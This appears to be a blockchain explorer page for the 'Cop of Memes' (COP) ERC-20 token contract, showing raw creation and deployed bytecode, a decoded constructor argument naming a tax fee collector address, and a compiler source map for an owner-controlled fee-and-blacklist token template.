5565b816001815181106114d6576114d6611aa6565b6001600160a01b0392831660209182029290920101526012546114fc9130911684610c52565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611535908590600090869030904290600401611b68565b600060405180830381600087803b15801561154f57600080fd5b505af1158015611563573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008260000361158a575060006104a3565b60006115968385611a5a565b9050826115a38583611bd9565b146115fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610590565b9392505050565b60006115fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f9565b600081831161165257826115fa565b50919050565b6000806116658385611b42565b9050838110156115fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610590565b60006115fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c4565b6000818361171a5760405162461bcd60e51b81526004016105909190611727565b5060006113f58486611bd9565b600060208083528351808285015260005b8181101561175457858101830151858201604001528201611738565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fa57600080fd5b803561179581611775565b919050565b600080604083850312156117ad57600080fd5b82356117b881611775565b946020939093013593505050565b6000806000606084860312156117db57600080fd5b83356117e681611775565b925060208401356117f681611775565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183057600080fd5b823567ffffffffffffffff8082111561184857600080fd5b818501915085601f83011261185c57600080fd5b81358181111561186e5761186e611807565b8060051b604051601f19603f8301168101818110858211171561189357611893611807565b6040529182528482019250838101850191888311156118b157600080fd5b938501935b828510156118d6576118c78561178a565b845293850193928501926118b6565b98975050505050505050565b6000602082840312156118f457600080fd5b81356115fa81611775565b6000806040838503121561191257600080fd5b823561191d81611775565b9150602083013561192d81611775565b809150509250929050565b60006020828403121561194a57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a257816000190482111561198857611988611951565b8085161561199557918102915b93841c939080029061196c565b509250929050565b6000826119b9575060016104a3565b816119c6575060006104a3565b81600181146119dc57600281146119e657611a02565b60019150506104a3565b60ff8411156119f7576119f7611951565b50506001821b6104a3565b5060208310610133831016604e8410600b8410161715611a25575081810a6104a3565b611a2f8383611967565b8060001904821115611a4357611a43611951565b029392505050565b60006115fa60ff8416836119aa565b80820281158282048414176104a3576104a3611951565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611ace57611ace611951565b5060010190565b600060208284031215611ae757600080fd5b81516115fa81611775565b600080600060608486031215611b0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3257600080fd5b815180151581146115fa57600080fd5b808201808211156104a3576104a3611951565b818103818111156104a3576104a3611951565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bb85784516001600160a01b031683529383019391830191600101611b93565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bf657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b37de3caff8a9bebc48b1fb27e0e5dc69c469f96ed6bc9c04a7451ac945dd4e964736f6c63430008130033000000000000000000000000921785792520281a8f417214551b69528f59bdd1

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103c1578063bf474bed146103e1578063c9567bf9146103f7578063d34628cc1461040c578063dd62ed3e1461042c578063ec1f3f631461047257600080fd5b8063751039fc146103175780637d1db4a51461032c5780638da5cb5b146103425780638f9a55c01461036a57806395d89b41146103805780639e78fb4f146103ac57600080fd5b8063313ce56711610108578063313ce5671461024257806331c2d8471461025e5780633bbac5791461027e57806351bc3c85146102b757806370a08231146102cc578063715018a61461030257600080fd5b806306fdde031461015b578063095ea7b3146101a25780630faee56f146101d257806318160ddd146101f657806320800a001461020b57806323b872dd1461022257600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600c81526b436f70206f66204d656d657360a01b60208201525b6040516101999190611727565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd36600461179a565b610492565b6040519015158152602001610199565b3480156101de57600080fd5b506101e860115481565b604051908152602001610199565b34801561020257600080fd5b506101e86104a9565b34801561021757600080fd5b506102206104ca565b005b34801561022e57600080fd5b506101c261023d3660046117c6565b6104fd565b34801561024e57600080fd5b5060405160098152602001610199565b34801561026a57600080fd5b5061022061027936600461181d565b610566565b34801561028a57600080fd5b506101c26102993660046118e2565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102c357600080fd5b50610220610605565b3480156102d857600080fd5b506101e86102e73660046118e2565b6001600160a01b031660009081526001602052604090205490565b34801561030e57600080fd5b50610220610654565b34801561032357600080fd5b506102206106c8565b34801561033857600080fd5b506101e8600e5481565b34801561034e57600080fd5b506000546040516001600160a01b039091168152602001610199565b34801561037657600080fd5b506101e8600f5481565b34801561038c57600080fd5b506040805180820190915260038152620434f560ec1b602082015261018c565b3480156103b857600080fd5b5061022061077a565b3480156103cd57600080fd5b506101c26103dc36600461179a565b61097d565b3480156103ed57600080fd5b506101e860105481565b34801561040357600080fd5b5061022061098a565b34801561041857600080fd5b5061022061042736600461181d565b610b79565b34801561043857600080fd5b506101e86104473660046118ff565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047e57600080fd5b5061022061048d366004611938565b610c0b565b600061049f338484610c52565b5060015b92915050565b60006104b76009600a611a4b565b6104c5906305f5e100611a5a565b905090565b6005546001600160a01b0316336001600160a01b0316146104ea57600080fd5b4780156104fa576104fa81610d76565b50565b600061050a848484610db0565b61055c843361055785604051806060016040528060288152602001611bfc602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c4565b610c52565b5060019392505050565b6000546001600160a01b031633146105995760405162461bcd60e51b815260040161059090611a71565b60405180910390fd5b60005b8151811015610601576000600460008484815181106105bd576105bd611aa6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f981611abc565b91505061059c565b5050565b6005546001600160a01b0316336001600160a01b03161461062557600080fd5b30600090815260016020526040902054801561064457610644816113fe565b4780156106015761060181610d76565b6000546001600160a01b0316331461067e5760405162461bcd60e51b815260040161059090611a71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161059090611a71565b6106fe6009600a611a4b565b61070c906305f5e100611a5a565b600e5561071b6009600a611a4b565b610729906305f5e100611a5a565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107596009600a611a4b565b610767906305f5e100611a5a565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161059090611a71565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ed9030906107df6009600a611a4b565b610557906305f5e100611a5a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ad5565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b9190611ad5565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061049f338484610db0565b6000546001600160a01b031633146109b45760405162461bcd60e51b815260040161059090611a71565b601354600160a01b900460ff1615610a0e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610590565b6012546001600160a01b031663f305d7194730610a40816001600160a01b031660009081526001602052604090205490565b600080610a556000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610abd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae29190611af2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f9190611b20565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610ba35760405162461bcd60e51b815260040161059090611a71565b60005b815181101561060157600160046000848481518110610bc757610bc7611aa6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0381611abc565b915050610ba6565b6005546001600160a01b0316336001600160a01b031614610c2b57600080fd5b6008548111158015610c3f57506009548111155b610c4857600080fd5b6008819055600955565b6001600160a01b038316610cb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610590565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610590565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610601573d6000803e3d6000fd5b6001600160a01b038316610e145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610590565b6001600160a01b038216610e765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610590565b60008111610ed85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610590565b6001600160a01b038316600090815260036020526040812054849060ff16158015610f1c57506001600160a01b03841660009081526003602052604090205460ff16155b15611262576001600160a01b03851660009081526004602052604090205460ff16158015610f6357506001600160a01b03841660009081526004602052604090205460ff16155b610f6c57600080fd5b610f986064610f92600a54600d5411610f8757600654610f8b565b6008545b8690611578565b90611601565b6013549092506001600160a01b038681169116148015610fc657506012546001600160a01b03858116911614155b8015610feb57506001600160a01b03841660009081526003602052604090205460ff16155b156110d357600e548311156110425760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610590565b600f5483611065866001600160a01b031660009081526001602052604090205490565b61106f9190611b42565b11156110bd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610590565b600d80549060006110cd83611abc565b91905055505b6013546001600160a01b0385811691161480156110f957506001600160a01b0385163014155b15611126576111236064610f92600b54600d541161111957600754610f8b565b6009548690611578565b91505b30600090815260016020526040902054601354600160a81b900460ff1615801561115d57506013546001600160a01b038681169116145b80156111725750601354600160b01b900460ff165b801561117f575060105481115b801561118e5750600c54600d54115b1561122c576015544311156111a35760006014555b6003601454106111f55760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610590565b61121261120d8561120884601154611643565b611643565b6113fe565b6014805490600061122283611abc565b9091555050436015555b6013546001600160a01b03868116911614801561125257506001600160a01b0386163014155b156112605761126047610d76565b505b81156112dc57306000908152600160205260409020546112829083611658565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d39086815260200190565b60405180910390a35b60055461131d906001600160a01b038381169116146112fb57836112fe565b60005b6001600160a01b038716600090815260016020526040902054906116b7565b6001600160a01b03861660009081526001602052604090205561136261134384846116b7565b6001600160a01b03861660009081526001602052604090205490611658565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ac86866116b7565b60405190815260200160405180910390a35050505050565b600081848411156113e85760405162461bcd60e51b81526004016105909190611727565b5060006113f58486611b55565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144657611446611aa6565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561149f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c39190611ad5565b816001815181106114d6576114d6611aa6565b6001600160a01b0392831660209182029290920101526012546114fc9130911684610c52565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611535908590600090869030904290600401611b68565b600060405180830381600087803b15801561154f57600080fd5b505af1158015611563573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008260000361158a575060006104a3565b60006115968385611a5a565b9050826115a38583611bd9565b146115fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610590565b9392505050565b60006115fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f9565b600081831161165257826115fa565b50919050565b6000806116658385611b42565b9050838110156115fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610590565b60006115fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c4565b6000818361171a5760405162461bcd60e51b81526004016105909190611727565b5060006113f58486611bd9565b600060208083528351808285015260005b8181101561175457858101830151858201604001528201611738565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fa57600080fd5b803561179581611775565b919050565b600080604083850312156117ad57600080fd5b82356117b881611775565b946020939093013593505050565b6000806000606084860312156117db57600080fd5b83356117e681611775565b925060208401356117f681611775565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183057600080fd5b823567ffffffffffffffff8082111561184857600080fd5b818501915085601f83011261185c57600080fd5b81358181111561186e5761186e611807565b8060051b604051601f19603f8301168101818110858211171561189357611893611807565b6040529182528482019250838101850191888311156118b157600080fd5b938501935b828510156118d6576118c78561178a565b845293850193928501926118b6565b98975050505050505050565b6000602082840312156118f457600080fd5b81356115fa81611775565b6000806040838503121561191257600080fd5b823561191d81611775565b9150602083013561192d81611775565b809150509250929050565b60006020828403121561194a57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a257816000190482111561198857611988611951565b8085161561199557918102915b93841c939080029061196c565b509250929050565b6000826119b9575060016104a3565b816119c6575060006104a3565b81600181146119dc57600281146119e657611a02565b60019150506104a3565b60ff8411156119f7576119f7611951565b50506001821b6104a3565b5060208310610133831016604e8410600b8410161715611a25575081810a6104a3565b611a2f8383611967565b8060001904821115611a4357611a43611951565b029392505050565b60006115fa60ff8416836119aa565b80820281158282048414176104a3576104a3611951565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611ace57611ace611951565b5060010190565b600060208284031215611ae757600080fd5b81516115fa81611775565b600080600060608486031215611b0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3257600080fd5b815180151581146115fa57600080fd5b808201808211156104a3576104a3611951565b818103818111156104a3576104a3611951565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bb85784516001600160a01b031683529383019391830191600101611b93565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bf657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b37de3caff8a9bebc48b1fb27e0e5dc69c469f96ed6bc9c04a7451ac945dd4e964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000921785792520281a8f417214551b69528f59bdd1

-----Decoded View---------------
Arg [0] : _taxFeeCollect (address): 0x921785792520281a8f417214551B69528F59BDd1

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000921785792520281a8f417214551b69528f59bdd1


Deployed Bytecode Sourcemap

3566:8672:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5481:83;;;;;;;;;;-1:-1:-1;5551:5:0;;;;;;;;;;;;-1:-1:-1;;;5551:5:0;;;;5481:83;;;;;;;:::i;:::-;;;;;;;;6314:161;;;;;;;;;;-1:-1:-1;6314:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6314:161:0;1162:187:1;4649:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4649:51:0;1354:177:1;5758:95:0;;;;;;;;;;;;;:::i;12024:211::-;;;;;;;;;;;;;:::i;:::-;;6483:313;;;;;;;;;;-1:-1:-1;6483:313:0;;;;;:::i;:::-;;:::i;5667:83::-;;;;;;;;;;-1:-1:-1;5667:83:0;;4280:1;2139:36:1;;2127:2;2112:18;5667:83:0;1997:184:1;10396:162:0;;;;;;;;;;-1:-1:-1;10396:162:0;;;;;:::i;:::-;;:::i;10566:83::-;;;;;;;;;;-1:-1:-1;10566:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10634:7:0;10613:4;10634:7;;;:4;:7;;;;;;;;;10566:83;11665:351;;;;;;;;;;;;;:::i;5861:119::-;;;;;;;;;;-1:-1:-1;5861:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5954:18:0;5927:7;5954:18;;;:9;:18;;;;;;;5861:119;2647:148;;;;;;;;;;;;;:::i;9954:159::-;;;;;;;;;;;;;:::i;4468:53::-;;;;;;;;;;;;;;;;2433:79;;;;;;;;;;-1:-1:-1;2471:7:0;2498:6;2433:79;;-1:-1:-1;;;;;2498:6:0;;;3842:51:1;;3830:2;3815:18;2433:79:0;3696:203:1;4528:55:0;;;;;;;;;;;;;;;;5572:87;;;;;;;;;;-1:-1:-1;5644:7:0;;;;;;;;;;;;-1:-1:-1;;;5644:7:0;;;;5572:87;;11055:332;;;;;;;;;;;;;:::i;5988:167::-;;;;;;;;;;-1:-1:-1;5988:167:0;;;;;:::i;:::-;;:::i;4590:52::-;;;;;;;;;;;;;;;;10657:390;;;;;;;;;;;;;:::i;10224:164::-;;;;;;;;;;-1:-1:-1;10224:164:0;;;;;:::i;:::-;;:::i;6163:143::-;;;;;;;;;;-1:-1:-1;6163:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6271:18:0;;;6244:7;6271:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6163:143;11399:221;;;;;;;;;;-1:-1:-1;11399:221:0;;;;;:::i;:::-;;:::i;6314:161::-;6389:4;6406:39;268:10;6429:7;6438:6;6406:8;:39::i;:::-;-1:-1:-1;6463:4:0;6314:161;;;;;:::o;5758:95::-;5811:7;4335:13;4280:1;4335:2;:13;:::i;:::-;4323:25;;:9;:25;:::i;:::-;5831:14;;5758:95;:::o;12024:211::-;12087:13;;-1:-1:-1;;;;;12087:13:0;268:10;-1:-1:-1;;;;;12073:27:0;;12065:36;;;;;;12131:21;12166:12;;12163:65;;12192:24;12205:10;12192:12;:24::i;:::-;12054:181;12024:211::o;6483:313::-;6581:4;6598:36;6608:6;6616:9;6627:6;6598:9;:36::i;:::-;6645:121;6654:6;268:10;6676:89;6714:6;6676:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6676:19:0;;;;;;:11;:19;;;;;;;;268:10;6676:33;;;;;;;;;;:37;:89::i;:::-;6645:8;:121::i;:::-;-1:-1:-1;6784:4:0;6483:313;;;;;:::o;10396:162::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;;;;;;;;;10469:6:::1;10464:87;10485:6;:13;10481:1;:17;10464:87;;;10536:5;10518:4;:15;10523:6;10530:1;10523:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10518:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10518:15:0;:23;;-1:-1:-1;;10518:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10500:3;::::1;::::0;::::1;:::i;:::-;;;;10464:87;;;;10396:162:::0;:::o;11665:351::-;11729:13;;-1:-1:-1;;;;;11729:13:0;268:10;-1:-1:-1;;;;;11715:27:0;;11707:36;;;;;;11793:4;11754:20;5954:18;;;:9;:18;;;;;;11813:14;;11810:73;;11841:30;11858:12;11841:16;:30::i;:::-;11912:21;11947:12;;11944:65;;11973:24;11986:10;11973:12;:24::i;2647:148::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;2754:1:::1;2738:6:::0;;2717:40:::1;::::0;-1:-1:-1;;;;;2738:6:0;;::::1;::::0;2717:40:::1;::::0;2754:1;;2717:40:::1;2785:1;2768:19:::0;;-1:-1:-1;;;;;;2768:19:0::1;::::0;;2647:148::o;9954:159::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;4335:13:::1;4280:1;4335:2;:13;:::i;:::-;4323:25;::::0;:9:::1;:25;:::i;:::-;10007:12;:22:::0;4335:13:::1;4280:1;4335:2;:13;:::i;:::-;4323:25;::::0;:9:::1;:25;:::i;:::-;10040:14;:22:::0;10078:27:::1;4335:13;4280:1;4335:2;:13;:::i;:::-;4323:25;::::0;:9:::1;:25;:::i;:::-;10078:27;::::0;1500:25:1;;;1488:2;1473:18;10078:27:0::1;;;;;;;9954:159::o:0;11055:332::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;11109:15:::1;:80:::0;;-1:-1:-1;;;;;;11109:80:0::1;11146:42;11109:80:::0;;::::1;::::0;;;11200:58:::1;::::0;11217:4:::1;::::0;4335:13:::1;4280:1;4335:2;:13;:::i;:::-;4323:25;::::0;:9:::1;:25;:::i;11200:58::-;11303:15;;;;;;;;;-1:-1:-1::0;;;;;11303:15:0::1;-1:-1:-1::0;;;;;11303:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11285:55:0::1;;11349:4;11356:15;;;;;;;;;-1:-1:-1::0;;;;;11356:15:0::1;-1:-1:-1::0;;;;;11356:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11285:94;::::0;-1:-1:-1;;;;;;11285:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7289:15:1;;;11285:94:0::1;::::0;::::1;7271:34:1::0;7341:15;;7321:18;;;7314:43;7206:18;;11285:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11269:13;:110:::0;;-1:-1:-1;;;;;;11269:110:0::1;-1:-1:-1::0;;;;;11269:110:0;;;::::1;::::0;;;::::1;::::0;;11055:332::o;5988:167::-;6066:4;6083:42;268:10;6107:9;6118:6;6083:9;:42::i;10657:390::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;10721:11:::1;::::0;-1:-1:-1;;;10721:11:0;::::1;;;10720:12;10712:47;;;::::0;-1:-1:-1;;;10712:47:0;;7570:2:1;10712:47:0::1;::::0;::::1;7552:21:1::0;7609:2;7589:18;;;7582:30;7648:25;7628:18;;;7621:53;7691:18;;10712:47:0::1;7368:347:1::0;10712:47:0::1;10770:15;::::0;-1:-1:-1;;;;;10770:15:0::1;:31;10809:21;10840:4;10846:24;10840:4:::0;-1:-1:-1;;;;;5954:18:0;5927:7;5954:18;;;:9;:18;;;;;;;5861:119;10846:24:::1;10871:1;10873::::0;10875:7:::1;2471::::0;2498:6;-1:-1:-1;;;;;2498:6:0;;2433:79;10875:7:::1;10770:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10770:129:0;;;-1:-1:-1;;;;;8079:15:1;;;10770:129:0::1;::::0;::::1;8061:34:1::0;8111:18;;;8104:34;;;;8154:18;;;8147:34;;;;8197:18;;;8190:34;8261:15;;;8240:19;;;8233:44;10883:15:0::1;8293:19:1::0;;;8286:35;7995:19;;10770:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10917:13:0::1;::::0;10948:15:::1;::::0;10910:71:::1;::::0;-1:-1:-1;;;10910:71:0;;-1:-1:-1;;;;;10948:15:0;;::::1;10910:71;::::0;::::1;8817:51:1::0;-1:-1:-1;;8884:18:1;;;8877:34;10917:13:0;::::1;::::0;-1:-1:-1;10910:29:0::1;::::0;8790:18:1;;10910:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10992:11:0::1;:18:::0;;-1:-1:-1;;;;11021:18:0;-1:-1:-1;;;11021:18:0;;;10657:390::o;10224:164::-;2560:6;;-1:-1:-1;;;;;2560:6:0;268:10;2560:22;2552:67;;;;-1:-1:-1;;;2552:67:0;;;;;;;:::i;:::-;10298:6:::1;10293:88;10314:5;:12;10310:1;:16;10293:88;;;10365:4;10348;:14;10353:5;10359:1;10353:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10348:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10348:14:0;:21;;-1:-1:-1;;10348:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10328:3;::::1;::::0;::::1;:::i;:::-;;;;10293:88;;11399:221:::0;11474:13;;-1:-1:-1;;;;;11474:13:0;268:10;-1:-1:-1;;;;;11460:27:0;;11452:36;;;;;;11514:12;;11505:7;:21;;:47;;;;;11539:13;;11530:7;:22;;11505:47;11497:56;;;;;;11562:12;:20;;;11591:13;:21;11399:221::o;6804:335::-;-1:-1:-1;;;;;6897:19:0;;6889:68;;;;-1:-1:-1;;;6889:68:0;;9406:2:1;6889:68:0;;;9388:21:1;9445:2;9425:18;;;9418:30;9484:34;9464:18;;;9457:62;-1:-1:-1;;;9535:18:1;;;9528:34;9579:19;;6889:68:0;9204:400:1;6889:68:0;-1:-1:-1;;;;;6976:21:0;;6968:68;;;;-1:-1:-1;;;6968:68:0;;9811:2:1;6968:68:0;;;9793:21:1;9850:2;9830:18;;;9823:30;9889:34;9869:18;;;9862:62;-1:-1:-1;;;9940:18:1;;;9933:32;9982:19;;6968:68:0;9609:398:1;6968:68:0;-1:-1:-1;;;;;7047:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7099:32;;1500:25:1;;;7099:32:0;;1473:18:1;7099:32:0;;;;;;;6804:335;;;:::o;10121:95::-;10178:13;;:30;;-1:-1:-1;;;;;10178:13:0;;;;:30;;;;;10201:6;;10178:13;:30;:13;:30;10201:6;10178:13;:30;;;;;;;;;;;;;;;;;;;7147:2200;-1:-1:-1;;;;;7235:18:0;;7227:68;;;;-1:-1:-1;;;7227:68:0;;10214:2:1;7227:68:0;;;10196:21:1;10253:2;10233:18;;;10226:30;10292:34;10272:18;;;10265:62;-1:-1:-1;;;10343:18:1;;;10336:35;10388:19;;7227:68:0;10012:401:1;7227:68:0;-1:-1:-1;;;;;7314:16:0;;7306:64;;;;-1:-1:-1;;;7306:64:0;;10620:2:1;7306:64:0;;;10602:21:1;10659:2;10639:18;;;10632:30;10698:34;10678:18;;;10671:62;-1:-1:-1;;;10749:18:1;;;10742:33;10792:19;;7306:64:0;10418:399:1;7306:64:0;7398:1;7389:6;:10;7381:64;;;;-1:-1:-1;;;7381:64:0;;11024:2:1;7381:64:0;;;11006:21:1;11063:2;11043:18;;;11036:30;11102:34;11082:18;;;11075:62;-1:-1:-1;;;11153:18:1;;;11146:39;11202:19;;7381:64:0;10822:405:1;7381:64:0;-1:-1:-1;;;;;7525:24:0;;7456:17;7525:24;;;:18;:24;;;;;;7505:4;;7525:24;;7524:25;:52;;;;-1:-1:-1;;;;;;7554:22:0;;;;;;:18;:22;;;;;;;;7553:23;7524:52;7520:1447;;;-1:-1:-1;;;;;7602:10:0;;;;;;:4;:10;;;;;;;;7601:11;:24;;;;-1:-1:-1;;;;;;7617:8:0;;;;;;:4;:8;;;;;;;;7616:9;7601:24;7593:33;;;;;;7653:76;7725:3;7653:67;7675:15;;7665:9;;:25;7664:55;;7705:14;;7664:55;;;7692:12;;7664:55;7653:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7758:13;;7641:88;;-1:-1:-1;;;;;;7750:21:0;;;7758:13;;7750:21;:55;;;;-1:-1:-1;7789:15:0;;-1:-1:-1;;;;;7775:30:0;;;7789:15;;7775:30;;7750:55;